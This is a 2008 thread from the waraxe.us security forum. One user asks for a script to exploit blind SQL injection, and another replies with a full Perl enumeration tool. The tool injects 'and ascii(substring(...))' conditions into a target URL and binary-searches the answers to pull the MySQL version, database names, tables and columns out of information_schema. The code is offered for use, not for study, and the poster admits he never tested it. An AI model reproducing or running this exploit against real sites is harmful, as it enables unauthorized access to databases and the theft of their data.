Waraxe IT Security Portal
Login or Register
June 17, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 169
Members: 0
Total: 169
Full disclosure
SEC Consult SA-20250604-0 :: Local Privilege Escalation and Default Credentials in INDAMED - MEDICAL OFFICE (Medical practice management) Demo version
Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Defense in depth -- the Microsoft way (part 89): user grouppolicies don't deserve tamper protection
CVE-2025-45542: Time-Based Blind SQL Injection in CloudClassroom PHP Project v1.0
ERPNext v15.53.1 Stored XSS in bio Field Allows Arbitrary Script Execution in Profile Page
ERPNext v15.53.1 Stored XSS in user_image Field Allows Script Execution via Injected Image Path
Local information disclosure in apport and systemd-coredump
Stored XSS via File Upload - adaptcmsv3.0.3
IDOR "Change Password" Functionality - adaptcmsv3.0.3
Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
Authenticated File Upload to RCE - adaptcmsv3.0.3
Stored XSS in "Description" Functionality - cubecartv6.5.9
Multiple Vulnerabilities in SAP GuiXT Scripting
CVE-2024-47081: Netrc credential leak in PSF requests library
Exploit CVE-2019-9978: Remote Code Execution in Social Warfare WordPress Plugin (<= 3.5.2)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> ( Script ) SQL injection Blind ?
Post new topicReply to topic View previous topic :: View next topic
( Script ) SQL injection Blind ?
PostPosted: Tue Apr 08, 2008 11:59 am Reply with quote
w0rm
Active user
Active user
Joined: Feb 22, 2008
Posts: 49




Hi Cool some one can help me , i need a script perl or php to exploite a Vulnerbility SQL injection Blind , and Show all Tables Name and Columns Name ?? , thanks for any help ...
View user's profile Send private message
PostPosted: Wed Apr 09, 2008 12:52 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Maybe this tool:

http://sqlmap.sourceforge.net/

It needs python though ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Jul 15, 2008 7:42 pm Reply with quote
faka
Regular user
Regular user
Joined: Nov 20, 2007
Posts: 7




Quote:
#!/usr/bin/perl

# Critical Security, 2006 (http://www.critical.lt)

$|=1;

use LWP::UserAgent;
use Getopt::Std;
use Switch;
print "\n+----------------------------------------------+\n";
print "| Critical Security mysql5 db enumeration tool |\n";
print "+----------------------------------------------+\n\n";
getopts('u:vr:ed:t:', \%opts);

$url=$opts{u};
$version=$opts{v}||0;
$regexp=$opts{r};
$enum=$opts{e}||0;
$db=$opts{d};
$tb=$opts{t};
$min=33;
$max=126;
$num=1;
$limit=0;

if($url&&$regexp&&$version) {checkversion();}
elsif($url&&$regexp&&$enum) {enumdb();}
elsif($url&&$regexp&&$db&&$tb) {enumcolumns();}
elsif($url&&$regexp&&$db) {enumtables();}
else {
print "Usage: $0 -u url -r regexp [-v] [-e] -d [dbname] -t [table]\n\n";
print "-u url -blind sql injection url\n";
print "-r regexp -perl regular expression\n";
print "-v -get mysql version\n";
print "-e -get dbs list\n";
print "-d db name -get tables list\n";
print "-t table name -get columns list\n\n";
exit();}

sub checkversion()
{
$func="version";
while(1){
found($min,$max);
if ($char=="0") {print "Mysql version:\n\n$ver\n\n[DONE]\n";exit();}
else {
$ver.=chr($char);
}
$num++;
}
}

sub enumdb()
{
$func="database";
print "Databases:\n\n";
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}

sub enumtables()
{
$func="table";
print "$db tables:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}

sub enumcolumns()
{
$func="column";
print "$db.$tb columns:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
$tb =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($tb);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}

sub found()
{
($fmin,$fmax)=@_;

if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax);return $char;}
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";

if ( &check($check) ) {&found($r,$fmax);} else {&found($fmin,$r+1);}
}

sub crack()
{
($cmin,$cmax)=@_;
$i = $cmin;

while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) {return $i;}
$i++;
}
return;
}

sub check()
{
($exp)=@_;

if($func eq "version"){$query = $url." and ascii(substring(version(),".$num.",1))".$exp;}
elsif($func eq "database"){$query = $url." and ascii(substring((select schema_name from information_schema.schemata limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "table"){$query = $url." and ascii(substring((select table_name from information_schema.tables where table_schema=char($db) limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "column"){$query = $url." and ascii(substring((select column_name from information_schema.columns where table_schema=char($db) and table_name=char($tb) limit ".$limit.",1),".$num.",1))".$exp;}
else {exit();}

$conn = LWP::UserAgent->new() or die;
$res = $conn->get($query);
@data = $res->content;
foreach $result(@data)
{
if ($result =~ /$regexp/) { return 1; }
}
return 0;
}



I did not test it and dont know or working!
View user's profile Send private message
( Script ) SQL injection Blind ?
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.027 Seconds